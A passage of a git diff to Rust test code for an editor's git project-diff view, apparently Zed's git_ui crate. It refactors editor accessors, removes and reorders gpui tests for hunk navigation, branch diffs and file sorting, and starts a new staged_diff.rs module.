+            diff.diff.update(cx, |diff, cx| {
+                diff.move_to_path(
+                    PathKey::with_sort_prefix(2, rel_path("bar").into_arc()),
+                    window,
+                    cx,
+                )
+            });
+            diff.editor(cx).read(cx).rhs_editor().clone()
         });
         assert_state_with_diff(
             &editor,
@@ -2301,7 +1654,8 @@ mod tests {
         });
         cx.run_until_parked();
 
-        let diff_editor = diff.read_with(cx, |diff, cx| diff.editor.read(cx).rhs_editor().clone());
+        let diff_editor =
+            diff.read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
 
         assert_state_with_diff(
             &diff_editor,
@@ -2324,387 +1678,59 @@ mod tests {
                 prev_buffer_hunks
             });
         assert_eq!(prev_buffer_hunks.len(), 1);
-        cx.run_until_parked();
-
-        let new_buffer_hunks =
-            cx.update_window_entity(&buffer_editor, |buffer_editor, window, cx| {
-                let snapshot = buffer_editor.snapshot(window, cx);
-                let snapshot = &snapshot.buffer_snapshot();
-                buffer_editor
-                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], snapshot)
-                    .collect::<Vec<_>>()
-            });
-        assert_eq!(new_buffer_hunks.as_slice(), &[]);
-
-        cx.update_window_entity(&buffer_editor, |buffer_editor, window, cx| {
-            buffer_editor.set_text("different\n", window, cx);
-            buffer_editor.save(
-                SaveOptions {
-                    format: false,
-                    force_format: false,
-                    autosave: false,
-                },
-                project.clone(),
-                window,
-                cx,
-            )
-        })
-        .await
-        .unwrap();
-
-        cx.run_until_parked();
-
-        cx.update_window_entity(&buffer_editor, |buffer_editor, window, cx| {
-            buffer_editor.expand_all_diff_hunks(&Default::default(), window, cx);
-        });
-
-        assert_state_with_diff(
-            &buffer_editor,
-            cx,
-            &"
-                - original
-                + different
-                  ˇ"
-            .unindent(),
-        );
-
-        assert_state_with_diff(
-            &diff_editor,
-            cx,
-            &"
-                - ˇoriginal
-                + different
-            "
-            .unindent(),
-        );
-    }
-
-    use crate::project_diff::{self, ProjectDiff};
-
-    #[gpui::test]
-    async fn test_go_to_prev_hunk_multibuffer(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            path!("/a"),
-            json!({
-                ".git": {},
-                "a.txt": "created\n",
-                "b.txt": "really changed\n",
-                "c.txt": "unchanged\n"
-            }),
-        )
-        .await;
-
-        fs.set_head_and_index_for_repo(
-            Path::new(path!("/a/.git")),
-            &[
-                ("b.txt", "before\n".to_string()),
-                ("c.txt", "unchanged\n".to_string()),
-                ("d.txt", "deleted\n".to_string()),
-            ],
-        );
-
-        let project = Project::test(fs, [Path::new(path!("/a"))], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        cx.run_until_parked();
-
-        cx.focus(&workspace);
-        cx.update(|window, cx| {
-            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
-        });
-
-        cx.run_until_parked();
-
-        let item = workspace.update(cx, |workspace, cx| {
-            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
-        });
-        cx.focus(&item);
-        let editor = item.read_with(cx, |item, cx| item.editor.read(cx).rhs_editor().clone());
-
-        let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
-
-        cx.set_selections_state(indoc!(
-            "
-            before
-            really changed
-
-            deleted
-
-            ˇcreated
-        "
-        ));
-
-        cx.dispatch_action(editor::actions::GoToPreviousHunk);
-
-        cx.assert_excerpts_with_selections(indoc!(
-            "
-            [EXCERPT]
-            before
-            really changed
-            [EXCERPT]
-            ˇ[FOLDED]
-            [EXCERPT]
-            created
-        "
-        ));
-
-        cx.dispatch_action(editor::actions::GoToPreviousHunk);
-
-        cx.assert_excerpts_with_selections(indoc!(
-            "
-            [EXCERPT]
-            ˇbefore
-            really changed
-            [EXCERPT]
-            [FOLDED]
-            [EXCERPT]
-            created
-        "
-        ));
-    }
-
-    #[gpui::test]
-    async fn test_excerpts_splitting_after_restoring_the_middle_excerpt(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let git_contents = indoc! {r#"
-            #[rustfmt::skip]
-            fn main() {
-                let x = 0.0; // this line will be removed
-                // 1
-                // 2
-                // 3
-                let y = 0.0; // this line will be removed
-                // 1
-                // 2
-                // 3
-                let arr = [
-                    0.0, // this line will be removed
-                    0.0, // this line will be removed
-                    0.0, // this line will be removed
-                    0.0, // this line will be removed
-                ];
-            }
-        "#};
-        let buffer_contents = indoc! {"
-            #[rustfmt::skip]
-            fn main() {
-                // 1
-                // 2
-                // 3
-                // 1
-                // 2
-                // 3
-                let arr = [
-                ];
-            }
-        "};
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            path!("/a"),
-            json!({
-                ".git": {},
-                "main.rs": buffer_contents,
-            }),
-        )
-        .await;
-
-        fs.set_head_and_index_for_repo(
-            Path::new(path!("/a/.git")),
-            &[("main.rs", git_contents.to_owned())],
-        );
-
-        let project = Project::test(fs, [Path::new(path!("/a"))], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project, window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        cx.run_until_parked();
-
-        cx.focus(&workspace);
-        cx.update(|window, cx| {
-            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
-        });
-
-        cx.run_until_parked();
-
-        let item = workspace.update(cx, |workspace, cx| {
-            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
-        });
-        cx.focus(&item);
-        let editor = item.read_with(cx, |item, cx| item.editor.read(cx).rhs_editor().clone());
-
-        let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
-
-        cx.assert_excerpts_with_selections(&format!("[EXCERPT]\nˇ{git_contents}"));
-
-        cx.dispatch_action(editor::actions::GoToHunk);
-        cx.dispatch_action(editor::actions::GoToHunk);
-        cx.dispatch_action(git::Restore);
-        cx.dispatch_action(editor::actions::MoveToBeginning);
-
-        cx.assert_excerpts_with_selections(&format!("[EXCERPT]\nˇ{git_contents}"));
-    }
-
-    #[gpui::test(iterations = 50)]
-    async fn test_split_diff_conflict_path_transition_with_dirty_buffer_invalid_anchor_panics(
-        cx: &mut TestAppContext,
-    ) {
-        init_test(cx);
-
-        cx.update(|cx| {
-            cx.update_global::<SettingsStore, _>(|store, cx| {
-                store.update_user_settings(cx, |settings| {
-                    settings.editor.diff_view_style = Some(DiffViewStyle::Split);
-                });
+        cx.run_until_parked();
+
+        let new_buffer_hunks =
+            cx.update_window_entity(&buffer_editor, |buffer_editor, window, cx| {
+                let snapshot = buffer_editor.snapshot(window, cx);
+                let snapshot = &snapshot.buffer_snapshot();
+                buffer_editor
+                    .diff_hunks_in_ranges(&[editor::Anchor::Min..editor::Anchor::Max], snapshot)
+                    .collect::<Vec<_>>()
             });
-        });
+        assert_eq!(new_buffer_hunks.as_slice(), &[]);
 
-        let build_conflict_text: fn(usize) -> String = |tag: usize| {
-            let mut lines = (0..80)
-                .map(|line_index| format!("line {line_index}"))
-                .collect::<Vec<_>>();
-            for offset in [5usize, 20, 37, 61] {
-                lines[offset] = format!("base-{tag}-line-{offset}");
-            }
-            format!("{}\n", lines.join("\n"))
-        };
-        let initial_conflict_text = build_conflict_text(0);
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            path!("/project"),
-            json!({
-                ".git": {},
-                "helper.txt": "same\n",
-                "conflict.txt": initial_conflict_text,
-            }),
-        )
-        .await;
-        fs.with_git_state(path!("/project/.git").as_ref(), true, |state| {
-            state
-                .refs
-                .insert("MERGE_HEAD".into(), "conflict-head".into());
+        cx.update_window_entity(&buffer_editor, |buffer_editor, window, cx| {
+            buffer_editor.set_text("different\n", window, cx);
+            buffer_editor.save(
+                SaveOptions {
+                    format: false,
+                    force_format: false,
+                    autosave: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
         })
+        .await
         .unwrap();
-        fs.set_status_for_repo(
-            path!("/project/.git").as_ref(),
-            &[(
-                "conflict.txt",
-                FileStatus::Unmerged(UnmergedStatus {
-                    first_head: UnmergedStatusCode::Updated,
-                    second_head: UnmergedStatusCode::Updated,
-                }),
-            )],
-        );
-        fs.set_merge_base_content_for_repo(
-            path!("/project/.git").as_ref(),
-            &[
-                ("conflict.txt", build_conflict_text(1)),
-                ("helper.txt", "same\n".to_string()),
-            ],
-        );
-
-        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-        let _project_diff = cx
-            .update(|window, cx| {
-                ProjectDiff::new_with_default_branch(project.clone(), workspace, window, cx)
-            })
-            .await
-            .unwrap();
-        cx.run_until_parked();
 
-        let buffer = project
-            .update(cx, |project, cx| {
-                project.open_local_buffer(path!("/project/conflict.txt"), cx)
-            })
-            .await
-            .unwrap();
-        buffer.update(cx, |buffer, cx| buffer.edit([(0..0, "dirty\n")], None, cx));
-        assert!(buffer.read_with(cx, |buffer, _| buffer.is_dirty()));
         cx.run_until_parked();
 
-        cx.update(|window, cx| {
-            let fs = fs.clone();
-            window
-                .spawn(cx, async move |cx| {
-                    cx.background_executor().simulate_random_delay().await;
-                    fs.with_git_state(path!("/project/.git").as_ref(), true, |state| {
-                        state.refs.insert("HEAD".into(), "head-1".into());
-                        state.refs.remove("MERGE_HEAD");
-                    })
-                    .unwrap();
-                    fs.set_status_for_repo(
-                        path!("/project/.git").as_ref(),
-                        &[
-                            (
-                                "conflict.txt",
-                                FileStatus::Tracked(TrackedStatus {
-                                    index_status: git::status::StatusCode::Modified,
-                                    worktree_status: git::status::StatusCode::Modified,
-                                }),
-                            ),
-                            (
-                                "helper.txt",
-                                FileStatus::Tracked(TrackedStatus {
-                                    index_status: git::status::StatusCode::Modified,
-                                    worktree_status: git::status::StatusCode::Modified,
-                                }),
-                            ),
-                        ],
-                    );
-                    // FakeFs assigns deterministic OIDs by entry position; flipping order churns
-                    // conflict diff identity without reaching into ProjectDiff internals.
-                    fs.set_merge_base_content_for_repo(
-                        path!("/project/.git").as_ref(),
-                        &[
-                            ("helper.txt", "helper-base\n".to_string()),
-                            ("conflict.txt", build_conflict_text(2)),
-                        ],
-                    );
-                })
-                .detach();
+        cx.update_window_entity(&buffer_editor, |buffer_editor, window, cx| {
+            buffer_editor.expand_all_diff_hunks(&Default::default(), window, cx);
         });
 
-        cx.update(|window, cx| {
-            let buffer = buffer.clone();
-            window
-                .spawn(cx, async move |cx| {
-                    cx.background_executor().simulate_random_delay().await;
-                    for edit_index in 0..10 {
-                        if edit_index > 0 {
-                            cx.background_executor().simulate_random_delay().await;
-                        }
-                        buffer.update(cx, |buffer, cx| {
-                            let len = buffer.len();
-                            if edit_index % 2 == 0 {
-                                buffer.edit(
-                                    [(0..0, format!("status-burst-head-{edit_index}\n"))],
-                                    None,
-                                    cx,
-                                );
-                            } else {
-                                buffer.edit(
-                                    [(len..len, format!("status-burst-tail-{edit_index}\n"))],
-                                    None,
-                                    cx,
-                                );
-                            }
-                        });
-                    }
-                })
-                .detach();
-        });
+        assert_state_with_diff(
+            &buffer_editor,
+            cx,
+            &"
+                - original
+                + different
+                  ˇ"
+            .unindent(),
+        );
 
-        cx.run_until_parked();
+        assert_state_with_diff(
+            &diff_editor,
+            cx,
+            &"
+                - ˇoriginal
+                + different
+            "
+            .unindent(),
+        );
     }
 
     #[gpui::test]
@@ -2765,7 +1791,7 @@ mod tests {
         );
         cx.run_until_parked();
 
-        let editor = diff.read_with(cx, |diff, cx| diff.editor.read(cx).rhs_editor().clone());
+        let editor = diff.read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
 
         assert_state_with_diff(
             &editor,
@@ -2809,240 +1835,53 @@ mod tests {
             );
         });
         project
-            .update(cx, |project, cx| project.save_buffer(buffer.clone(), cx))
-            .await
-            .unwrap();
-        cx.run_until_parked();
-
-        assert_state_with_diff(
-            &editor,
-            cx,
-            &"
-                  one
-                - two
-                + TWO
-                  three
-                  four
-                  five
-                  ˇnine
-                  ten
-                - eleven
-                + ELEVEN
-                  twelve
-            "
-            .unindent(),
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sort_by_name_tie_breaks_on_path(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        cx.update(|cx| {
-            cx.update_global::<SettingsStore, _>(|store, cx| {
-                store.update_user_settings(cx, |settings| {
-                    let git_panel = settings.git_panel.get_or_insert_default();
-                    git_panel.sort_by = Some(GitPanelSortBy::Name);
-                    git_panel.group_by = Some(GitPanelGroupBy::None);
-                });
-            });
-        });
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            path!("/project"),
-            json!({
-                ".git": {},
-                "lib": { "foo.rs": "LIB FOO\n" },
-                "src": { "foo.rs": "SRC FOO\n" },
-                "m.rs": "M\n",
-            }),
-        )
-        .await;
-        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-        let diff = cx.new_window_entity(|window, cx| {
-            ProjectDiff::new(project.clone(), workspace, window, cx)
-        });
-        cx.run_until_parked();
-
-        fs.set_head_and_index_for_repo(
-            path!("/project/.git").as_ref(),
-            &[
-                ("lib/foo.rs", "lib foo\n".into()),
-                ("src/foo.rs", "src foo\n".into()),
-                ("m.rs", "m\n".into()),
-            ],
-        );
-        cx.run_until_parked();
-
-        // Sorted by file name, the two `foo.rs` files come before `m.rs`, and the
-        // tie between them is broken by the full path (`lib/` before `src/`).
-        // A plain path sort would instead order them `lib/foo.rs`, `m.rs`,
-        // `src/foo.rs`.
-        let paths = diff.read_with(cx, |diff, cx| diff.excerpt_file_paths(cx));
-        assert_eq!(paths, vec!["lib/foo.rs", "src/foo.rs", "m.rs"]);
-    }
-
-    #[gpui::test]
-    async fn test_tree_view_orders_directories_before_files(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        cx.update(|cx| {
-            cx.update_global::<SettingsStore, _>(|store, cx| {
-                store.update_user_settings(cx, |settings| {
-                    let git_panel = settings.git_panel.get_or_insert_default();
-                    git_panel.tree_view = Some(true);
-                    git_panel.group_by = Some(GitPanelGroupBy::None);
-                });
-            });
-        });
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            path!("/project"),
-            json!({
-                ".git": {},
-                "src": {
-                    "a.rs": "A\n",
-                    "m.rs": "M\n",
-                    "sub": { "b.rs": "B\n" },
-                },
-            }),
-        )
-        .await;
-        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-        let diff = cx.new_window_entity(|window, cx| {
-            ProjectDiff::new(project.clone(), workspace, window, cx)
-        });
-        cx.run_until_parked();
-
-        fs.set_head_and_index_for_repo(
-            path!("/project/.git").as_ref(),
-            &[
-                ("src/a.rs", "a\n".into()),
-                ("src/m.rs", "m\n".into()),
-                ("src/sub/b.rs", "b\n".into()),
-            ],
-        );
-        cx.run_until_parked();
-
-        // In tree view the `src/sub/` directory sorts before the files directly
-        // in `src/`. A plain path sort would interleave them as `src/a.rs`,
-        // `src/m.rs`, `src/sub/b.rs`.
-        let paths = diff.read_with(cx, |diff, cx| diff.excerpt_file_paths(cx));
-        assert_eq!(paths, vec!["src/sub/b.rs", "src/a.rs", "src/m.rs"]);
-    }
-
-    #[gpui::test]
-    async fn test_branch_diff(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            path!("/project"),
-            json!({
-                ".git": {},
-                "a.txt": "C",
-                "b.txt": "new",
-                "c.txt": "in-merge-base-and-work-tree",
-                "d.txt": "created-in-head",
-            }),
-        )
-        .await;
-        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-        let diff = cx
-            .update(|window, cx| {
-                ProjectDiff::new_with_default_branch(project.clone(), workspace, window, cx)
-            })
-            .await
-            .unwrap();
-        cx.run_until_parked();
-
-        fs.set_head_for_repo(
-            Path::new(path!("/project/.git")),
-            &[("a.txt", "B".into()), ("d.txt", "created-in-head".into())],
-            "sha",
-        );
-        // fs.set_index_for_repo(dot_git, index_state);
-        fs.set_merge_base_content_for_repo(
-            Path::new(path!("/project/.git")),
-            &[
-                ("a.txt", "A".into()),
-                ("c.txt", "in-merge-base-and-work-tree".into()),
-            ],
-        );
-        cx.run_until_parked();
-
-        let editor = diff.read_with(cx, |diff, cx| diff.editor.read(cx).rhs_editor().clone());
-
-        assert_state_with_diff(
-            &editor,
-            cx,
-            &"
-                - A
-                + ˇC
-                + new
-                + created-in-head"
-                .unindent(),
-        );
-
-        let statuses: HashMap<Arc<RelPath>, Option<FileStatus>> =
-            editor.update(cx, |editor, cx| {
-                editor
-                    .buffer()
-                    .read(cx)
-                    .all_buffers()
-                    .iter()
-                    .map(|buffer| {
-                        (
-                            buffer.read(cx).file().unwrap().path().clone(),
-                            editor.status_for_buffer_id(buffer.read(cx).remote_id(), cx),
-                        )
-                    })
-                    .collect()
-            });
+            .update(cx, |project, cx| project.save_buffer(buffer.clone(), cx))
+            .await
+            .unwrap();
+        cx.run_until_parked();
 
-        assert_eq!(
-            statuses,
-            HashMap::from_iter([
-                (
-                    rel_path("a.txt").into_arc(),
-                    Some(FileStatus::Tracked(TrackedStatus {
-                        index_status: git::status::StatusCode::Modified,
-                        worktree_status: git::status::StatusCode::Modified
-                    }))
-                ),
-                (rel_path("b.txt").into_arc(), Some(FileStatus::Untracked)),
-                (
-                    rel_path("d.txt").into_arc(),
-                    Some(FileStatus::Tracked(TrackedStatus {
-                        index_status: git::status::StatusCode::Added,
-                        worktree_status: git::status::StatusCode::Added
-                    }))
-                )
-            ])
+        assert_state_with_diff(
+            &editor,
+            cx,
+            &"
+                  one
+                - two
+                + TWO
+                  three
+                  four
+                  five
+                  ˇnine
+                  ten
+                - eleven
+                + ELEVEN
+                  twelve
+            "
+            .unindent(),
         );
     }
 
     #[gpui::test]
-    async fn test_branch_diff_action_matches_existing_item_by_base_ref(cx: &mut TestAppContext) {
+    async fn test_sort_by_name_tie_breaks_on_path(cx: &mut TestAppContext) {
         init_test(cx);
 
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    let git_panel = settings.git_panel.get_or_insert_default();
+                    git_panel.sort_by = Some(GitPanelSortBy::Name);
+                    git_panel.group_by = Some(GitPanelGroupBy::None);
+                });
+            });
+        });
+
         let fs = FakeFs::new(cx.executor());
         fs.insert_tree(
             path!("/project"),
             json!({
                 ".git": {},
-                "a.txt": "changed",
+                "lib": { "foo.rs": "LIB FOO\n" },
+                "src": { "foo.rs": "SRC FOO\n" },
+                "m.rs": "M\n",
             }),
         )
         .await;
@@ -3050,213 +1889,156 @@ mod tests {
         let (multi_workspace, cx) =
             cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
         let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let target_branch_diff = cx
-            .update(|window, cx| {
-                let Some(repository) = project.read(cx).active_repository(cx) else {
-                    return Task::ready(Err(anyhow!("No active repository")));
-                };
-                ProjectDiff::new_with_branch_base(
-                    project.clone(),
-                    workspace.clone(),
-                    "topic".into(),
-                    repository,
-                    window,
-                    cx,
-                )
-            })
-            .await
-            .unwrap();
-        workspace.update_in(cx, |workspace, window, cx| {
-            workspace.add_item_to_active_pane(
-                Box::new(target_branch_diff.clone()),
-                None,
-                true,
-                window,
-                cx,
-            );
+        let diff = cx.new_window_entity(|window, cx| {
+            ProjectDiff::new(project.clone(), workspace, window, cx)
         });
         cx.run_until_parked();
 
-        cx.focus(&workspace);
-        cx.update(|window, cx| {
-            window.dispatch_action(BranchDiff.boxed_clone(), cx);
-        });
+        fs.set_head_and_index_for_repo(
+            path!("/project/.git").as_ref(),
+            &[
+                ("lib/foo.rs", "lib foo\n".into()),
+                ("src/foo.rs", "src foo\n".into()),
+                ("m.rs", "m\n".into()),
+            ],
+        );
         cx.run_until_parked();
 
-        let (active_base_ref, mut base_refs) = workspace.update(cx, |workspace, cx| {
-            let active_item = workspace.active_item_as::<ProjectDiff>(cx).unwrap();
-            let active_base_ref = match active_item.read(cx).diff_base(cx) {
-                DiffBase::Merge { base_ref } => base_ref.to_string(),
-                DiffBase::Head => panic!("expected active item to be a branch diff"),
-            };
-            let base_refs = workspace
-                .items_of_type::<ProjectDiff>(cx)
-                .filter_map(|item| match item.read(cx).diff_base(cx) {
-                    DiffBase::Merge { base_ref } => Some(base_ref.to_string()),
-                    DiffBase::Head => None,
-                })
-                .collect::<Vec<_>>();
-            (active_base_ref, base_refs)
-        });
-        base_refs.sort();
-
-        assert_eq!(active_base_ref, "origin/main");
-        assert_eq!(base_refs, vec!["origin/main", "topic"]);
+        // Sorted by file name, the two `foo.rs` files come before `m.rs`, and the
+        // tie between them is broken by the full path (`lib/` before `src/`).
+        // A plain path sort would instead order them `lib/foo.rs`, `m.rs`,
+        // `src/foo.rs`.
+        let paths = diff.read_with(cx, |diff, cx| diff.excerpt_file_paths(cx));
+        assert_eq!(paths, vec!["lib/foo.rs", "src/foo.rs", "m.rs"]);
     }
 
     #[gpui::test]
-    async fn test_update_on_uncommit(cx: &mut TestAppContext) {
+    async fn test_tree_view_orders_directories_before_files(cx: &mut TestAppContext) {
         init_test(cx);
 
+        cx.update(|cx| {
+            cx.update_global::<SettingsStore, _>(|store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    let git_panel = settings.git_panel.get_or_insert_default();
+                    git_panel.tree_view = Some(true);
+                    git_panel.group_by = Some(GitPanelGroupBy::None);
+                });
+            });
+        });
+
         let fs = FakeFs::new(cx.executor());
         fs.insert_tree(
             path!("/project"),
             json!({
                 ".git": {},
-                "README.md": "# My cool project\n".to_owned()
+                "src": {
+                    "a.rs": "A\n",
+                    "m.rs": "M\n",
+                    "sub": { "b.rs": "B\n" },
+                },
             }),
         )
         .await;
-        fs.set_head_and_index_for_repo(
-            Path::new(path!("/project/.git")),
-            &[("README.md", "# My cool project\n".to_owned())],
-        );
-        let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
-        let worktree_id = project.read_with(cx, |project, cx| {
-            project.worktrees(cx).next().unwrap().read(cx).id()
-        });
+        let project = Project::test(fs.clone(), [path!("/project").as_ref()], cx).await;
         let (multi_workspace, cx) =
             cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
         let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-        cx.run_until_parked();
-
-        let _editor = workspace
-            .update_in(cx, |workspace, window, cx| {
-                workspace.open_path((worktree_id, rel_path("README.md")), None, true, window, cx)
-            })
-            .await
-            .unwrap()
-            .downcast::<Editor>()
-            .unwrap();
-
-        cx.focus(&workspace);
-        cx.update(|window, cx| {
-            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        let diff = cx.new_window_entity(|window, cx| {
+            ProjectDiff::new(project.clone(), workspace, window, cx)
         });
         cx.run_until_parked();
-        let item = workspace.update(cx, |workspace, cx| {
-            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
-        });
-        cx.focus(&item);
-        let editor = item.read_with(cx, |item, cx| item.editor.read(cx).rhs_editor().clone());
 
         fs.set_head_and_index_for_repo(
-            Path::new(path!("/project/.git")),
-            &[(
-                "README.md",
-                "# My cool project\nDetails to come.\n".to_owned(),
-            )],
+            path!("/project/.git").as_ref(),
+            &[
+                ("src/a.rs", "a\n".into()),
+                ("src/m.rs", "m\n".into()),
+                ("src/sub/b.rs", "b\n".into()),
+            ],
         );
         cx.run_until_parked();
 
-        let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
-
-        cx.assert_excerpts_with_selections("[EXCERPT]\nˇ# My cool project\nDetails to come.\n");
+        // In tree view the `src/sub/` directory sorts before the files directly
+        // in `src/`. A plain path sort would interleave them as `src/a.rs`,
+        // `src/m.rs`, `src/sub/b.rs`.
+        let paths = diff.read_with(cx, |diff, cx| diff.excerpt_file_paths(cx));
+        assert_eq!(paths, vec!["src/sub/b.rs", "src/a.rs", "src/m.rs"]);
     }
 
     #[gpui::test]
-    async fn test_deploy_at_respects_active_repository_selection(cx: &mut TestAppContext) {
+    async fn test_excerpts_splitting_after_restoring_the_middle_excerpt(cx: &mut TestAppContext) {
         init_test(cx);
 
+        let git_contents = indoc! {r#"
+            #[rustfmt::skip]
+            fn main() {
+                let x = 0.0; // this line will be removed
+                // 1
+                // 2
+                // 3
+                let y = 0.0; // this line will be removed
+                // 1
+                // 2
+                // 3
+                let arr = [
+                    0.0, // this line will be removed
+                    0.0, // this line will be removed
+                    0.0, // this line will be removed
+                    0.0, // this line will be removed
+                ];
+            }
+        "#};
+        let buffer_contents = indoc! {"
+            #[rustfmt::skip]
+            fn main() {
+                // 1
+                // 2
+                // 3
+                // 1
+                // 2
+                // 3
+                let arr = [
+                ];
+            }
+        "};
+
         let fs = FakeFs::new(cx.executor());
         fs.insert_tree(
-            path!("/project_a"),
-            json!({
-                ".git": {},
-                "a.txt": "CHANGED_A\n",
-            }),
-        )
-        .await;
-        fs.insert_tree(
-            path!("/project_b"),
+            path!("/a"),
             json!({
                 ".git": {},
-                "b.txt": "CHANGED_B\n",
+                "main.rs": buffer_contents,
             }),
         )
         .await;
 
         fs.set_head_and_index_for_repo(
-            Path::new(path!("/project_a/.git")),
-            &[("a.txt", "original_a\n".to_string())],
-        );
-        fs.set_head_and_index_for_repo(
-            Path::new(path!("/project_b/.git")),
-            &[("b.txt", "original_b\n".to_string())],
+            Path::new(path!("/a/.git")),
+            &[("main.rs", git_contents.to_owned())],
         );
 
-        let project = Project::test(
-            fs.clone(),
-            [
-                Path::new(path!("/project_a")),
-                Path::new(path!("/project_b")),
-            ],
-            cx,
-        )
-        .await;
-
-        let (worktree_a_id, worktree_b_id) = project.read_with(cx, |project, cx| {
-            let mut worktrees: Vec<_> = project.worktrees(cx).collect();
-            worktrees.sort_by_key(|w| w.read(cx).abs_path());
-            (worktrees[0].read(cx).id(), worktrees[1].read(cx).id())
-        });
-
+        let project = Project::test(fs, [Path::new(path!("/a"))], cx).await;
         let (multi_workspace, cx) =
             cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
         let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
         cx.run_until_parked();
 
-        // Select project A explicitly and open the diff.
-        workspace.update(cx, |workspace, cx| {
-            let git_store = workspace.project().read(cx).git_store().clone();
-            git_store.update(cx, |git_store, cx| {
-                git_store.set_active_repo_for_worktree(worktree_a_id, cx);
-            });
-        });
-        cx.focus(&workspace);
-        cx.update(|window, cx| {
-            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
+        let diff = cx.new_window_entity(|window, cx| {
+            ProjectDiff::new(project.clone(), workspace, window, cx)
         });
         cx.run_until_parked();
+        let editor = diff.read_with(cx, |diff, cx| diff.editor(cx).read(cx).rhs_editor().clone());
 
-        let diff_item = workspace.update(cx, |workspace, cx| {
-            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
-        });
-        let paths_a = diff_item.read_with(cx, |diff, cx| diff.excerpt_paths(cx));
-        assert_eq!(paths_a.len(), 1);
-        assert_eq!(*paths_a[0], *"a.txt");
+        let mut cx = EditorTestContext::for_editor_in(editor, cx).await;
 
-        // Switch the explicit active repository to project B and re-run the diff action.
-        workspace.update(cx, |workspace, cx| {
-            let git_store = workspace.project().read(cx).git_store().clone();
-            git_store.update(cx, |git_store, cx| {
-                git_store.set_active_repo_for_worktree(worktree_b_id, cx);
-            });
-        });
-        cx.focus(&workspace);
-        cx.update(|window, cx| {
-            window.dispatch_action(project_diff::Diff.boxed_clone(), cx);
-        });
-        cx.run_until_parked();
+        cx.assert_excerpts_with_selections(&format!("[EXCERPT]\nˇ{git_contents}"));
 
-        let same_diff_item = workspace.update(cx, |workspace, cx| {
-            workspace.active_item_as::<ProjectDiff>(cx).unwrap()
-        });
-        assert_eq!(diff_item.entity_id(), same_diff_item.entity_id());
+        cx.dispatch_action(editor::actions::GoToHunk);
+        cx.dispatch_action(editor::actions::GoToHunk);
+        cx.dispatch_action(git::Restore);
+        cx.dispatch_action(editor::actions::MoveToBeginning);
 
-        let paths_b = diff_item.read_with(cx, |diff, cx| diff.excerpt_paths(cx));
-        assert_eq!(paths_b.len(), 1);
-        assert_eq!(*paths_b[0], *"b.txt");
+        cx.assert_excerpts_with_selections(&format!("[EXCERPT]\nˇ{git_contents}"));
     }
 }
diff --git a/crates/git_ui/src/staged_diff.rs b/crates/git_ui/src/staged_diff.rs
new file mode 100644
index 00000000000000..9b607c72cbc1b5
--- /dev/null
+++ b/crates/git_ui/src/staged_diff.rs
@@ -0,0 +1,1090 @@
+use crate::{
+    diff_multibuffer::DiffMultibuffer,
+    git_panel::{GitPanel, GitPanelAddon, GitStatusEntry},
+};
+use anyhow::{Context as _, Result};
+use buffer_diff::DiffHunkStatus;
+use editor::{
+    DiffHunkDelegate, Editor, EditorEvent, ResolvedDiffHunks, SplittableEditor,
